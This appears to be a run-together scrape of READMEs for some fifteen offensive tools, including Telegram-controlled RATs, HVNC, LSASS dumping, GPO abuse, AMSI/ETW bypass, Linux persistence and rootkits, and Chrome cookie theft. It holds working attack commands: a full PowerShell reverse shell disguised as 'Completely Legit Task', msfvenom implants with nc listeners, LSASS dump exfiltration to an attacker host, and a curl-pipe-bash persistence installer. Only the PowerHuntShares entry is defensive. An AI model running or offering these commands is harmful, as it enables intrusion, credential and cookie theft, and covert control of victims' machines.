Download the binaries
or build the binaries and you are ready to go:
$ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go
./server -h
Usage of ./server:
-d string
Destination IP address
-i string
Listener (virtual) Network Interface (e.g. eth0)
./client -h
Usage of ./client:
-d string
Destination IP address
-i string
(Virtual) Network Interface (e.g., eth0)
New Module 34: TLS Callbacks For Anti-Debugging
New Module 35: Threadless Injection
The PoC follows these steps:
CreateProcessViaWinAPIsW
function (i.e. RuntimeBroker.exe
).g_FixedShellcode
and the main payload.The g_FixedShellcode
shellcode will then make sure that the main payload executes only once by restoring the original TLS callback's original address before calling the main payload. A TLS callback can execute multiple times across the lifespan of a process, therefore it is important to control the number of times the payload is triggered by restoring the original code path execution to the original TLS callback function.
The following image shows our implementation, RemoteTLSCallbackInjection.exe
, spawning a cmd.exe
as its main payload.
Remote administration crossplatfrom tool via telegram\ Coded with β€οΈ python3 + aiogram3\ https://t.me/pt_soft
/start - start pyradm
/help - help
/shell - shell commands
/sc - screenshot
/download - download (abs. path)
/info - system info
/ip - public ip address and geolocation
/ps - process list
/webcam 5 - record video (secs)
/webcam - screenshot from camera
/fm - filemanager
/fm /home or /fm C:\
/mic 10 - record audio from mic
/clip - get clipboard data
Press button to download file
Send any file as file for upload to target
git clone https://github.com/akhomlyuk/pyradm.git
cd pyradm
pip3 install -r requirements.txt
Put bot token to cfg.py, ask @Bothfather
python3 main.py
Put bot token to cfg.py
pip install nuitka
nuitka --mingw64 --onefile --follow-imports --remove-output -o pyradm.exe main.py
A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques.
All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop.
$ ./rks.sh -h
Usage: ./rks.sh (RemoteKeyStrokes)
Options:
-c, --command <command | cmdfile> Specify a command or a file containing to execute
-i, --input <input_file> Specify the local input file to transfer
-o, --output <output_file> Specify the remote output file to transfer
-m, --method <method> Specify the file transfer or execution method
(For file transfer "base64" is set by default if
not specified. For execution method "none" is set
by default if not specified)
-p, --platform <operating_system> Specify the operating system (windows is set by
default if not specified)
-w, --windowname <name> Specify t he window name for graphical remote
program (freerdp is set by default if not
specified)
-h, --help Display this help message
$ cat recon_cmds.txt
whoami /all
net user
net localgroup Administrators
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Computers" /domain
$ ./rks.h -c recon_cmds.txt
$ msfvenom -p windowx/x64/shell_reverse_tcp lhost=<IP> lport=4444 -f psh -o implant.ps1
$ ./rks.sh -c implant.ps1
$ nc -lvnp 4444
$ ./rks.sh -i /usr/share/powersploit/Privesc/PowerUp.ps1 -o script.ps1
$ ./rks.sh -i /usr/share/powersploit/Exfiltration/Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m base64
tightvnc
.$ ./rks.sh -i implant.ps1 -w tightvnc
rdesktop
.$ ./rks.sh -i implant.bat -w rdesktop
Add text colors for better user experience
Implement Base64 file transfer
Implement Bin2Hex file transfer
Implement a persistence function for both windows and linux.
Implement antiforensics function for both windows and linux.
Implement to read shellcode input and run C# implant and powershell runspace
Implement privesc function for both windows and linux
BackdoorSim
is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer
and BackdoorClient
. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.
This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.
To set up BackdoorSim
, you will need to install it on both the server and client machines.
shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git
shell $ cd BackDoorSim
shell $ pip install -r requirements.txt
After starting both the server and client, you can use the following commands in the server's command prompt:
upload [file_path]
: Upload a file to the client.download [file_path]
: Download a file from the client.screenshot
: Capture a screenshot from the client.sysinfo
: Get system information from the client.securityinfo
: Get security software status from the client.camshot
: Capture an image from the client's webcam.notify [title] [message]
: Send a notification to the client.help
: Display the help menu.BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.
If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool
If you want to read our article about Backdoor
Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.
For any inquiries or further information, you can reach me through the following channels:
Python partial implementation of SharpGPOAbuse by@pkb1s
This tool can be used when a controlled account can modify an existing GPO that applies to one or more users & computers. It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.
Default behavior adds a local administrator.
Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.
Key functionalities:
Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6
Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.
Itβs already embedded into the PPLBlade.exe. The exploit is just a single executable.
Modes:
Handle Modes:
Basic POC that uses PROCEXP152.sys to dump lsass:
PPLBlade.exe --mode dothatlsassthing
(Note that it does not XOR dump file, provide an additional obfuscate flag to enable the XOR functionality)
Upload the obfuscated LSASS dump onto a remote location:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
Attacker host:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
Deobfuscate memory dump:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade
Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.
This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .--- ----------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
It's tested against Windows 10&11, Windows Server 16&19&22 from Ubuntu 20.04 and Windows 10 machines.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.*
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
Hidden Desktop (often referred to as HVNC) is a tool that allows operators to interact with a remote desktop session without the user knowing. The VNC protocol is not involved, but the result is a similar experience. This Cobalt Strike BOF implementation was created as an alternative to TinyNuke/forks that are written in C++.
There are four components of Hidden Desktop:
BOF initializer: Small program responsible for injecting the HVNC code into the Beacon process.
HVNC shellcode: PIC implementation of TinyNuke HVNC.
Server and operator UI: Server that listens for connections from the HVNC shellcode and a UI that allows the operator to interact with the remote desktop. Currently only supports Windows.
Application launcher BOFs: Set of Beacon Object Files that execute applications in the new desktop.
Download the latest release or compile yourself using make
. Start the HVNC server on a Windows machine accessible from the teamserver. You can then execute the client with:
HiddenDesktop <server> <port>
You should see a new blank window on the server machine. The BOF does not execute any applications by default. You can use the application launcher BOFs to execute common programs on the new desktop:
hd-launch-edge
hd-launch-explorer
hd-launch-run
hd-launch-cmd
hd-launch-chrome
You can also launch programs through File Explorer using the mouse and keyboard. Other applications can be executed using the following command:
hd-launch <command> [args]
rportfwd
. Status updates are sent back to Beacon through a named pipe.InputHandler
function in the HVNC shellcode. It uses BeaconInjectProcess
to execute the shellcode, meaning the behavior can be customized in a Malleable C2 profile or with process injection BOFs. You could modify Hidden Desktop to target remote processes, but this is not currently supported. This is done so the BOF can exit and the HVNC shellcode can continue running.InputHandler
creates a new named pipe for Beacon to connect to. Once a connection has been established, the specified desktop is opened (OpenDesktopA
) or created (CreateDesktopA
). A new socket is established through a reverse port forward (rportfwd
) to the HVNC server. The input handler creates a new thread for the DesktopHandler
function described below. This thread will receive mouse and keyboard input from the HVNC server and forward it to the desktop.DesktopHandler
establishes an additional socket connection to the HVNC server through the reverse port forward. This thread will monitor windows for changes and forward them to the HVNC server.The HiddenDesktop BOF was tested using example.profile on the following Windows versions/architectures:
A Linux persistence tool!
A powerful and versatile Linux persistence script designed for various security assessment and testing scenarios. This script provides a collection of features that demonstrate different methods of achieving persistence on a Linux system.
SSH Key Generation: Automatically generates SSH keys for covert access.
Cronjob Persistence: Sets up cronjobs for scheduled persistence.
Custom User with Root: Creates a custom user with root privileges.
RCE Persistence: Achieves persistence through remote code execution.
LKM/Rootkit: Demonstrates Linux Kernel Module (LKM) based rootkit persistence.
Bashrc Persistence: Modifies user-specific shell initialization files for persistence.
Systemd Service for Root: Sets up a systemd service for achieving root persistence.
LD_PRELOAD Privilege Escalation Config: Configures LD_PRELOAD for privilege escalation.
Backdooring Message of the Day / Header: Backdoors system message display for covert access.
Modify an Existing Systemd Service: Manipulates an existing systemd service for persistence.
Clone this repository to your local machine:
git clone https://github.com/Trevohack/DynastyPersist.git
One linear
curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash
For support, email spaceshuttle.io.all@gmail.com or join our Discord server.
https://discord.gg/WYzu65Hp
Thank You!
LightsOut will generate an obfuscated DLL that will disable AMSI & ETW while trying to evade AV. This is done by randomizing all WinAPI functions used, xor encoding strings, and utilizing basic sandbox checks. Mingw-w64 is used to compile the obfuscated C code into a DLL that can be loaded into any process where AMSI or ETW are present (i.e. PowerShell).
LightsOut is designed to work on Linux systems with python3
and mingw-w64
installed. No other dependencies are required.
Features currently include:
_______________________
| |
| AMSI + ETW |
| |
| LIGHTS OUT |
| _______ |
| || || |
| ||_____|| |
| |/ /|| |
| / / || |
| /____/ /-' |
| |____|/ |
| |
| @icyguider |
| |
| RG|
`-----------------------'
usage: lightsout.py [-h] [-m <method>] [-s <option>] [-sa <value>] [-k <key>] [-o <outfile>] [-p <pid>]
Generate an obfuscated DLL that will disable AMSI & ETW
options:
-h, --help show this help message and exit
-m <method>, --method <method>
Bypass technique (Options: patch, hwbp, remote_patch) (Default: patch)
-s <option>, --sandbox < ;option>
Sandbox evasion technique (Options: mathsleep, username, hostname, domain) (Default: mathsleep)
-sa <value>, --sandbox-arg <value>
Argument for sandbox evasion technique (Ex: WIN10CO-DESKTOP, testlab.local)
-k <key>, --key <key>
Key to encode strings with (randomly generated by default)
-o <outfile>, --outfile <outfile>
File to save DLL to
Remote options:
-p <pid>, --pid <pid>
PID of remote process to patch
Intended Use/Opsec Considerations
This tool was designed to be used on pentests, primarily to execute malicious powershell scripts without getting blocked by AV/EDR. Because of this, the tool is very barebones and a lot can be added to improve opsec. Do not expect this tool to completely evade detection by EDR.
Usage Examples
You can transfer the output DLL to your target system and load it into powershell various ways. For example, it can be done via P/Invoke with LoadLibrary:
Or even easier, copy powershell to an arbitrary location and side load the DLL!
Greetz/Credit/Further Reference:
Attaches to Chrome using its Remote DevTools protocol and steals/injects/clears/deletes cookies.
Heavily inspired by WhiteChocolateMacademiaNut.
Cookies are dumped as JSON objects using Chrome's own format. The same format is used for cookies to be loaded.
For legal use only.
Steal a victim's cookies:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
./chromecookiestealer -dump ./cookies.json
Inject into the attacker's local browser:
# Start Chrome with a debug port, as above.
./chromecookiestealer -clear -inject ./cookies.json
Usage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
C lear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
go build
should be all that's necessary. The following may be set at compile time with -ldflags '-X main.Foo=bar'
for a touch more on-target stealth.
Variable | Description |
---|---|
DumpFile | Name of a file to which to dump cookies. Implies -dump
|
InjectFile | Name of a file from which to inject cookies. Implies -inject
|
DeleteFile | Name of a file with parameters describing cookies to delete. Implies -delete
|
DoClear | If set to any value, implies -clear
|
None of the above are set by default.
The Chrome DevTools Protocol is a bit of a moving target. It may be necessary to use a newer version of the chromedp and cdproto libraries should this program stop working. This can be done with
go get -u -v all
go mod tidy
go build
which could well have the side-effect of breaking everything else.
Β―\_(γ)_/Β―
1. git clone https://github.com/machine1337/TelegramRAT.git
2. Now Follow the instructions in HOW TO USE Section.
1. Go to Telegram and search for https://t.me/BotFather
2. Create Bot and get the API_TOKEN
3. Now search for https://t.me/chatIDrobot and get the chat_id
4. Now Go to client.py and go to line 16 and 17 and place API_TOKEN and chat_id there
5. Now run python client.py For Windows and python3 client.py For Linux
6. Now Go to the bot which u created and send command in message field
HELP MENU: Coded By Machine1337
CMD Commands | Execute cmd commands directly in bot
cd .. | Change the current directory
cd foldername | Change to current folder
download filename | Download File From Target
screenshot | Capture Screenshot
info | Get System Info
location | Get Target Location
1. Execute Shell Commands in bot directly.
2. download file from client.
3. Get Client System Information.
4. Get Client Location Information.
5. Capture Screenshot
6. More features will be added
Coded By: Machine1337
Contact: https://t.me/R0ot1337
The BackupOperatorToolkit (BOT) has 4 different mode that allows you to escalate from Backup Operator to Domain Admin.
Use "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe" before running the tool.
The SERVICE mode creates a service on the remote host that will be executed when the host is rebooted.
The service is created by modyfing the remote registry. This is possible by passing the "REG_OPTION_BACKUP_RESTORE" value to RegOpenKeyExA and RegSetValueExA.
It is not possible to have the service executed immediately as the service control manager database "SERVICES_ACTIVE_DATABASE" is loaded into memory at boot and can only be modified with local administrator privileges, which the Backup Operator does not have.
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION
The DSRM mode will set the DsrmAdminLogonBehavior registry key found in "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" to either 0, 1, or 2.
Setting the value to 0 will only allow the DSRM account to be used when in recovery mode.
Setting the value to 1 will allow the DSRM account to be used when the Directory Services service is stopped and the NTDS is unlocked.
Setting the value to 2 will allow the DSRM account to be used with network authentication such as WinRM.
If the DUMP mode has been used and the DSRM account has been cracked offline, set the value to 2 and log into the Domain Controller with the DSRM account which will be local administrator.
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2
The DUMP mode will dump the SAM, SYSTEM, and SECURITY hives to a local path on the remote host or upload the files to a network share.
Once the hives have been dumped you could PtH with the Domain Controller hash, crack DSRM and enable network auth, or possibly authenticate with another account found in the dumps. Accounts from other forests may be stored in these files, I'm not sure why but this has been observed on engagements with management forests. This mode is inspired by the BackupOperatorToDA project.
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
The IFEO (Image File Execution Options) will enable you to run an application when a specifc process is terminated.
This could grant a shell before the SERVICE mode will in case the target host is heavily utilized and rarely rebooted.
The executable will be running as a child to the WerFault.exe process.
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK
PowerHuntShares is design to automatically inventory, analyze, and report excessive privilege assigned to SMB shares on Active Directory domain joined computers.
It is intented to help IAM and other blue teams gain a better understand of their SMB Share attack surface and provides data insights to help naturally group related share to help stream line remediation efforts at scale.
It supports functionality to:
Excessive SMB share ACLs are a systemic problem and an attack surface that all organizations struggle with. The goal of this project is to provide a proof concept that will work towards building a better share collection and data insight engine that can help inform and priorititize remediation efforts.
Bonus Features:
I've also put together a short presentation outlining some of the common misconfigurations and strategies for prioritizing remediation here: https://www.slideshare.net/nullbind/into-the-abyss-evaluating-active-directory-smb-shares-on-scale-secure360-251762721
PowerHuntShares will inventory SMB share ACLs configured with "excessive privileges" and highlight "high risk" ACLs. Below is how those are defined in this context.
Excessive Privileges
Excessive read and write share permissions have been defined as any network share ACL containing an explicit ACE (Access Control Entry) for the "Everyone", "Authenticated Users", "BUILTIN\Users", "Domain Users", or "Domain Computers" groups. All provide domain users access to the affected shares due to privilege inheritance issues. Note there is a parameter that allow operators to add their own target groups.
Below is some additional background:
Please Note: Share permissions can be overruled by NTFS permissions. Also, be aware that testing excluded share names containing the following keywords:
print$, prnproc$, printer, netlogon,and sysvol
High Risk Shares
In the context of this report, high risk shares have been defined as shares that provide unauthorized remote access to a system or application. By default, that includes the shares
wwwroot, inetpub, c$, and admin$
However, additional exposures may exist that are not called out beyond that. Below is a list of commands that can be used to load PowerHuntShares into your current PowerShell session. Please note that one of these will have to be run each time you run PowerShell is run. It is not persistent.
# Bypass execution policy restrictions
Set-ExecutionPolicy -Scope Process Bypass
# Import module that exists in the current directory
Import-Module .\PowerHuntShares.psm1
or
# Reduce SSL operating level to support connection to github
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
[Net.ServicePointManager]::SecurityProtocol =[Net.SecurityProtocolType]::Tls12
# Download and load PowerHuntShares.psm1 into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")
Important Note: All commands should be run as an unprivileged domain user.
.EXAMPLE 1: Run from a domain computer. Performs Active Directory computer discovery by default.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test
.EXAMPLE 2: Run from a domain computer with alternative domain credentials. Performs Active Directory computer discovery by default.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test -Credentials domain\user
.EXAMPLE 3: Run from a domain computer as current user. Target hosts in a file. One per line.
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test -HostList c:\temp\hosts.txt
.EXAMPLE 4: Run from a non-domain computer with credential. Performs Active Directory computer discovery by default.
C:\temp\test> runas /netonly /user:domain\user PowerShell.exe
PS C:\temp\test> Import-Module Invoke-HuntSMBShares.ps1
PS C:\temp\test> Invoke-HuntSMBShares -Threads 100 -Run SpaceTimeOut 10 -OutputDirectory c:\folder\ -DomainController 10.1.1.1 -Credential domain\user
===============================================================
PowerHuntShares
===============================================================
This function automates the following tasks:
o Determine current computer's domain
o Enumerate domain computers
o Filter for computers that respond to ping reqeusts
o Filter for computers that have TCP 445 open and accessible
o Enumerate SMB shares
o Enumerate SMB share permissions
o Identify shares with potentially excessive privielges
o Identify shares that provide reads & write access
o Identify shares thare are high risk
o Identify common share owners, names, & directory listings
o Generate creation, last written, & last accessed timelines
o Generate html summary report and detailed csv files
Note: This can take hours to run in large environments.
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SHARE DISCOVERY
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[*][03/01/2021 09:35] Scan Start
[*][03/01/2021 09:35] Output Directory: c:\temp\smbshares\SmbShareHunt-03012021093504
[*][03/01/2021 09:35] Successful connection to domain controller: dc1.demo.local
[*][03/01/2021 09:35] Performing LDAP query for computers associated with the demo.local domain
[*][03/01/2021 09:35] - 245 computers found
[*][03/01/2021 09:35] Pinging 245 computers
[*][03/01/2021 09:35] - 55 computers responded to ping requests.
[*][03/01/2021 09:35] Checking if TCP Port 445 is open on 55 computers
[*][03/01/2021 09:36] - 49 computers have TCP port 445 open.
[*][03/01/2021 09:36] Getting a list of SMB shares from 49 computers
[*][03/01/2021 09:36] - 217 SMB shares were found.
[*][03/01/2021 09:36] Getting share permissions from 217 SMB shares
[*][03/01/2021 09:37] - 374 share permissions were enumerated.
[*][03/01/2021 09:37] Getting directory listings from 33 SMB shares
[*][03/01/2021 09:37] - Targeting up to 3 nested directory levels
[*][03/01/2021 09:37] - 563 files and folders were enumerated.
[*][03/01/2021 09:37] Identifying potentially excessive share permissions
[*][03/01/2021 09:37] - 33 potentially excessive privileges were found across 12 systems..
[*][03/01/2021 09:37] Scan Complete
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SHARE ANALYSIS
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[*][03/01/2021 09:37] Analysis Start
[*][03/01/2021 09:37] - 14 shares can be read across 12 systems.
[*][03/01/2021 09:37] - 1 shares can be written to across 1 systems.
[*][03/01/2021 09:37] - 46 shares are considered non-default across 32 systems.
[*][03/01/2021 09:37] - 0 shares are considered high risk across 0 systems
[*][03/01/2021 09:37] - Identified top 5 owners of excessive shares.
[*][03/01/2021 09:37] - Identified top 5 share groups.
[*][03/01/2021 09:37] - Identified top 5 share names.
[*][03/01/2021 09:37] - Identified shares created in last 90 days.
[*][03/01/2021 09:37] - Identified shares accessed in last 90 days.
[*][03/01/2021 09:37] - Identified shares modified in last 90 days.
[*][03/01/2021 09:37] Analysis Complete
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SHARE REPORT SUMMARY
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[*][03/01/2021 09:37] Domain: demo.local
[*][03/01/2021 09:37] Start time: 03/01/2021 09:35:04
[*][03/01/2021 09:37] End time: 03/01/2021 09:37:27
[*][03/01/2021 09:37] R un time: 00:02:23.2759086
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] COMPUTER SUMMARY
[*][03/01/2021 09:37] - 245 domain computers found.
[*][03/01/2021 09:37] - 55 (22.45%) domain computers responded to ping.
[*][03/01/2021 09:37] - 49 (20.00%) domain computers had TCP port 445 accessible.
[*][03/01/2021 09:37] - 32 (13.06%) domain computers had shares that were non-default.
[*][03/01/2021 09:37] - 12 (4.90%) domain computers had shares with potentially excessive privileges.
[*][03/01/2021 09:37] - 12 (4.90%) domain computers had shares that allowed READ access.
[*][03/01/2021 09:37] - 1 (0.41%) domain computers had shares that allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) domain computers had shares that are HIGH RISK.
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] SHARE SUMMARY
[*][03/01/2021 09:37] - 217 shares were found. We expect a minimum of 98 shares
[*][03/01/2021 09:37] because 49 systems had open ports a nd there are typically two default shares.
[*][03/01/2021 09:37] - 46 (21.20%) shares across 32 systems were non-default.
[*][03/01/2021 09:37] - 14 (6.45%) shares across 12 systems are configured with 33 potentially excessive ACLs.
[*][03/01/2021 09:37] - 14 (6.45%) shares across 12 systems allowed READ access.
[*][03/01/2021 09:37] - 1 (0.46%) shares across 1 systems allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) shares across 0 systems are considered HIGH RISK.
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] SHARE ACL SUMMARY
[*][03/01/2021 09:37] - 374 ACLs were found.
[*][03/01/2021 09:37] - 374 (100.00%) ACLs were associated with non-default shares.
[*][03/01/2021 09:37] - 33 (8.82%) ACLs were found to be potentially excessive.
[*][03/01/2021 09:37] - 32 (8.56%) ACLs were found that allowed READ access.
[*][03/01/2021 09:37] - 1 (0.27%) ACLs were found that allowed WRITE access.
[*][03/01/2021 09:37] - 0 (0.00%) ACLs we re found that are associated with HIGH RISK share names.
[*][03/01/2021 09:37]
[*][03/01/2021 09:37] - The 5 most common share names are:
[*][03/01/2021 09:37] - 9 of 14 (64.29%) discovered shares are associated with the top 5 share names.
[*][03/01/2021 09:37] - 4 backup
[*][03/01/2021 09:37] - 2 ssms
[*][03/01/2021 09:37] - 1 test2
[*][03/01/2021 09:37] - 1 test1
[*][03/01/2021 09:37] - 1 users
[*] -----------------------------------------------
Author
Scott Sutherland (@_nullbind)
Open-Source Code Used
These individuals wrote open source code that was used as part of this project. A big thank you goes out them and their work!
Name | Site |
---|---|
Will Schroeder (@harmj0y) | https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 |
Warren F (@pscookiemonster) | https://github.com/RamblingCookieMonster/Invoke-Parallel |
Luben Kirov | http://www.gi-architects.co.uk/2016/02/powershell-check-if-ip-or-subnet-matchesfits/ |
License
BSD 3-Clause
Pending Fixes/Bugs
Pending Features
This tool allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server.
Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version). Java version should be 11 or higher due to dependencies.
https://www.openlogic.com/openjdk-downloads
$ java -jar java-class-loader.jar -help
usage: Main
-address <arg> address to connect (client) / to bind (server)
-classfile <arg> filename of bytecode .class file to load remotely
(default: Payload.class)
-classmethod <arg> name of method to invoke (default: exec)
-classname <arg> name of class (default: Payload)
-client run as client
-help print this message
-keepalive keeps the client getting classfile from server every
X seconds (default: 3 seconds)
-key <arg> secret key - 256 bits in base64 format (if not
specified it will generate a new one)
-port <arg> port to connect (client) / to bind (server)
-server run as server
Assuming you have the following Hello World payload in the Payload.java
file:
//Payload.java
public class Payload {
public static String exec() {
String output = "";
try {
output = "Hello world from client!";
} catch (Exception e) {
e.printStackTrace();
}
return output;
}
}
Then you should compile and produce the respective Payload.class
file.
To run the server process listening on port 1337 on all net interfaces:
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class
Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
On the client side, you may use the same JAR package with the -client
flag and use the symmetric key generated by server. Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are Payload
and String exec()
respectively). Additionally, you can specify -keepalive
to keep the client requesting class file from server while maintaining the connection.
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=
Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server
Refer to https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ for a blog post related with the development of this tool.
https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis
https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7
https://venishjoe.net/post/dynamically-load-compiled-java-class/
https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php
https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html
https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html